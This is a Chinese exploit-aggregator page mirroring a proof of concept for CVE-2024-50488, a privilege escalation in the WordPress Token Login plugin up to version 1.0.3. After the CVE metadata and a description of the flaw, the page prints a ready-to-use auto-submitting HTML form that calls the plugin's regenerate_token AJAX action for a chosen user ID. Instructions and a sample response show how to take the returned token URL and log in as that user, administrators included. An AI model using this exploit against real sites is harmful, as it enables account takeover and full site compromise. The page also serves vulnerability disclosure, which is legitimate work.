POC详情: 7b3e9e7d23b1142b857ccdedf123ec9cf7fdba0c

来源
关联漏洞
标题: WordPress plugin Token Login 安全漏洞 (CVE-2024-50488)
描述:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Token Login 1.0.3版本及之前版本存在安全漏洞,该漏洞源于包含一个身份认证绕过漏洞。
描述
Token Login <= 1.0.3 - Authenticated (Subscriber+) Privilege Escalation
介绍
# CVE-2024-50488
Token Login &lt;= 1.0.3 - Authenticated (Subscriber+) Privilege Escalation


# Description:
The Auto Login using a secure tokenized url. Role wise login restriction. plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.0.3. This is due to the plugin not properly verifying if a user has permissions to generate a login token for other users. This makes it possible for authenticated attackers, with subscriber-level access and above, to log in as other using including administrators.

```
Published: 2024-10-25 00:00:00
CVE: CVE-2024-50488
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 8.8
Slugs: token-login
```

POC
---

Logged in run this HTML submit.
Change the url to the wordpress site your logged in on.
Change the ID to the user you want to generate the token for.
copy the url and you can login as them

```
<html>
  <body>
    <form action="http://kubernetes.docker.internal/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tl&#95;admin&#95;ajax&#95;action" />
      <input type="hidden" name="method" value="regenerate&#95;token" />
      <input type="hidden" name="user&#95;id" value="7" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

Responce

```
{"status":"success","message":"Successfully regenerated token!","token_url":"http:\/\/kubernetes.docker.internal?__token__=1c8dc9406bc444d1f5cea37fae130f92"}
```
文件快照

[4.0K] /data/pocs/7b3e9e7d23b1142b857ccdedf123ec9cf7fdba0c └── [1.6K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。